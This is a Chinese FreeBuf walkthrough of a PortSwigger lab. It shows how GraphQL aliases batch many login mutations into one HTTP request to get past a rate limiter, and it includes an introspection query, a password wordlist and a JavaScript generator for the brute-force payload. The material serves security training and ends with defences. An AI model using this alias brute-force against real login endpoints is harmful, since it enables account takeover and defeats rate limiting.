利用别称突破GraphQL API请求限制进行暴力破解
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
Portswigger练兵场之GraphQL API
利用别称突破GraphQL API请求限制进行暴力破解
Lab: Bypassing GraphQL brute force protections
实验前置必要知识点
GraphQL
别名Aliases
的概念
以下查询不会返回内容,因为同时查询了getProduct
对象,GraphQL
的对象不能包含多个同名属性,会报错
#Invalid query
query getProductDetails {
getProduct(id: 1) {
id
name
}
getProduct(id: 2) {
id
name
}
}
如果要进行查询的话可以使用别名,别名可以通过显式命名希望API
返回的属性来绕过此限制。可以使用别名在一个请求中返回同一类型对象的多个实例,这有助于减少所需的API调用数量。
#Valid query using aliases
query getProductDetails {
product1: getProduct(id: "1") {
id
name
}
product2: getProduct(id: "2") {
id
name
}
}
在示例中,查询使用别名为两个产品指定唯一的名称,该查询通过验证,并返回详细信息。
使用带有突变的别名可以有效地在一个HTTP请求中发送多个GraphQL消息,用于突破API请求的限制
实验要求
该实验室的用户登录机制由GraphQL API提供支持。API端点有一个速率限制器,如果它在短时间内接收到太多来自同一源的请求,则会返回错误。
若要解决实验室问题,用暴力破解登录carlos用户名
123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow
渗透开始
访问对应靶场界面
https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass
启动靶场
1. 站点分析
这是博客类型的网站
存在查看博客的功能
存在一个登录端点
2. 寻找可疑功能点(查看Burp历史记录进行分析)
从总体来看,该站点进行了GraphQL
的加载模式
因此,分析突破口为查询是否存在隐藏的例外
3. 功能点测试
将对应的日志信息发送到重放模块
尝试修改POST
请求
{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"aaa","password":"aaa"}}}
改为查询根内容
{
"query": "{__schema{queryType{name}}}"
}
获得了根内容query
构造内容查询内部所有参数
{
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}
通过这种方法查询到了所有的参数
将内容发送到可视化工具,未发现什么有效的信息
4.寻找其他功能点
文章提示是登录端点存在速率限制,在登录接口发了5个包被锁定1分钟
我需要突破登录速度限制爆破登录账户
将刚才的登录GraphQL
发送到重放模块
发现单次的请求如下
mutation {
login(input:{password: "code*", username: "code*"}) {
token
success
}
}
尝试修改,突破API
请求限制
通过这个方法完美在一个http
包中请求了2次,突破api
请求次数限制
指定用户名为carlos
在这里实验室给我们提供了便捷的命令
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
执行之后就会将内容复制到剪贴板中
发送成功之后找到true
状态的就是密码
5.完成实验
bruteforce78:login(input:{password: "summer", username: "carlos"}) {
token
success
}
利用成功获得密码登录完成实践
防御方法
除了校验API
的数量之外,还要校验内部是否存在别称
对单个突变类型进行速率限制可能是一种有用的缓解措施,同时使用难以猜测的密码重置令牌。
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录